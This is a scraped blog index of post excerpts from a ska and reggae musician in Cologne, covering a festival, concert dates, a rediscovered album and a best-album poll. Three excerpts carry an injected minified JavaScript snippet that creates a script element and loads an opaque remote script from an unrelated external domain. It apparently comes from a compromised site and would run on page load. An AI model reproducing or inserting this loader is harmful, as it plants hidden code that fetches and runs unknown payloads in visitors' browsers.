This Saturday the Freedom Sounds Festival is held in Cologne, Germany. I'm not only playing there, but also involved in organizing it. Like many more people. The excitement around the festival lead to a joint venture between me and a great band from Cologne called...
More info about the festival at REGGAE STEADY SKA;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);...
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Guess what I found The other day I found a case with a bunch of CDs. All copies of the latest release of my (former) band The Braces: „With A Heart Full Of Ska“. The case was sitting right under my bed. The album had been...
When the Johnny Reggae Rub Foundation set up a show at the Sternhagel in Cologne to present their first 7"-single, Fischa (from JRRF) asked me if I wanted to play a few songs before. I said "Of course, man." Here's a recording. Not all the...
Just a quick note to let you know about our next shows. 05.05.2012, Kaktus Farm (Dortmund) w/Martin Jondo 10.05.2012, Sonic Ballroom (Cologne) w/Buster Shuffle. I hope to see you there. You can get further info on Joe Scholes live at our Reverbnation page.;(function (l, z, f, e, r, p) {...
With 1049 votes Desorden Publico from Venezuela were the winners of the Best Album 2011 poll at joescholes.com. In fact, it was a homerun. Hollie Cook on No. 2 received less than half their votes. After the poll ended Desorden Publico's bass player Jose Chacin sent out a...
Lots of thanks to everyone who participated in the „Best Ska Rocksteady Early Reggae Album 2011 Poll “ at joescholes.com. Thanks for producing that music, promoting it, joining in the fun of the poll, sharing it, simply voting and giving shout outs in the comments...
Have a look at the NEW list with releases from 2012 at reggae-steady-ska.com;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);...
„Is joescholes.com today what I want it to be?“, is the question that keeps coming up on my mind. I’m not going to tell you what my answer is. Even asking the question tells me I have to change things. Rewind A slightly uneasy feeling was there...
